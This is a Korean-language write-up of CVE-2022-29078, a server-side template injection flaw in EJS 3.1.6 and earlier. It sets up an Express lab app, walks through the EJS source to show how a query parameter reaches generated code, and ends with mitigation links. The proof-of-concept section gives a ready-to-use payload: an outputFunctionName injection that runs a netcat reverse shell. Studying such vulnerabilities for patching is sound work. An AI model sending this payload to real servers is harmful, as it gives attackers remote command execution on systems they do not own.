개요
NodeJS의 EJS (Embedded JavaScript Templates) 3.1.6 이하 버전에서 SSTI(Server-Side Template Injection) 취약점이 발생했다.
해당 취약점은 EJS가 HTML로 랜더링될 때 settings[view options][outputFunctionName]
값을 얕은 복사로 덮어씌워, 최종적으로 OS Command를 삽입하여 RCE까지 발생시킬 수 있다.
Analysis
Lab Setup
- Installation
1
2
npm install ejs@3.1.6
npm install express
- Files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// app.js
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
1
2
3
4
5
6
7
8
9
10
11
<!-- index.ejs -->
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
Vuln Code
먼저 코드를 살펴보면 다음과 같이 index.ejs
로 req.query
를 전달하는 것을 확인할 수 있다.
req.query
처럼 데이터가 render 될때 어디로 가는지 파악할 필요가 있다.
그리고 Node_Modules의 ejs/lib/ejs.js 파일을 보다보면 다음과 같은 코드부분을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
* Render an EJS file at the given `path` and callback `cb(err, str)`.
*
* If you would like to include options but not data, you need to explicitly
* call this function with `data` being an empty object or `null`.
*
* @param {String} path path to the EJS file
* @param {Object} [data={}] template data
* @param {Options} [opts={}] compilation and rendering options
* @param {RenderFileCallback} cb callback
* @public
*/
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
위 코드에서 자세히보면 다음과 같은 코드 부분이 독특한 것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
...
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
...
data
에 args.shift()
값이 들어가는 것을 확인할 수 있는데 curl 요청, curl "127.0.0.1:3000?test=AAAA"
을 전송해보고 디버깅을 통해서 해보고 확인하면 다음 그림과 같다.
data
안에 사용자가 입력한 파라미터 test
및 값인 AAAA
가 들어간 것을 확인할 수 있다.
요기서 조금 더 코드의 아랫부분을 살펴보면 다음과 같은 코드를 확인할 수 있다.
1
2
3
4
5
6
...
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
...
data
안에 settings['view options']
가 viewOpts
변수에 저장되며, 해당 값이 존재 하면 utils.shallowCopy
함수가 실행된다.
사용자는 data
의 값을 조작할 수 있으므로, settings['view options']
를 강제로 삽입하고, 원하는 값을 설정할 수 있다.
먼저 원하는 값을 넣을 수 있는지 viewOpts = data.settings['view options'];
에 BreakPoint를 걸고 viewOpts
값을 확인해보면 다음과 같다.
curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[A\]=BBBB"
정상적으로 viewOpts
값을 바꾼것을 확인할 수 있다.
다음으로는 핵심 기능인 shallowCopy
의 함수를 살펴보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// node_modules/ejs/lib/utils.js
/**
* Naive copy of properties from one object to another.
* Does not recurse into non-scalar properties
* Does not check to see if the property has a value before copying
*
* @param {Object} to Destination object
* @param {Object} from Source object
* @return {Object} Destination object
* @static
* @private
*/
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};
이름에서 알 수 있듯이 얕은 복사를 하는 코드다. 즉, 2번째로 입력된 인자의 원소들을 뽑고, 원소를 이용한 배열의 값을 1번째 인자의 같은 원소를 갖는 배열에 넣어 저장한다.
그림에서 알 수 있듯이 to['A']
에 BBBB
라는 값이 저장된 것을 확인할 수 있다. 즉, 사용자는 첫 인자를 조작할 수 있다.
요기서 첫인자는 opts
라는 변수가 넘어가는데, opts
변수는 추후에 다음과 같은 함수에서 사용된다.
1
2
3
4
5
6
7
8
9
10
11
...
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
...
코드에서 어느정도 알 수 있듯이, opts
의 outputFunctionName
원소 값을 갖고와서 prepended
에 넣으며 해당 값은 추후에 다른 값들과 이어져 code로써 실행이된다.
사용자는 opts
를 조작할 수 있음으로 outputFunctionName
값 또한 변조할 수 있어 원하는 값을 RCE를 발생 시킬 수 있다.
curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;console.log('Hacked');x"
Exploit PoC
Exploit은 비교적 간단하다. child_process
를 require
한 뒤 execSync
를 통해 Reverse Shell을 하면 된다.
1
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc 127.0.0.1 8862 -e sh');x"
curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"
Mitigation
- EJS 3.1.7 이상 버전으로 업데이트
다음과 같이 코드를 수정하여 RCE를 막았다.
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://github.com/mde/ejs/issues/451
참고
CVSS Info
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
- https://access.redhat.com/security/cve/cve-2022-29078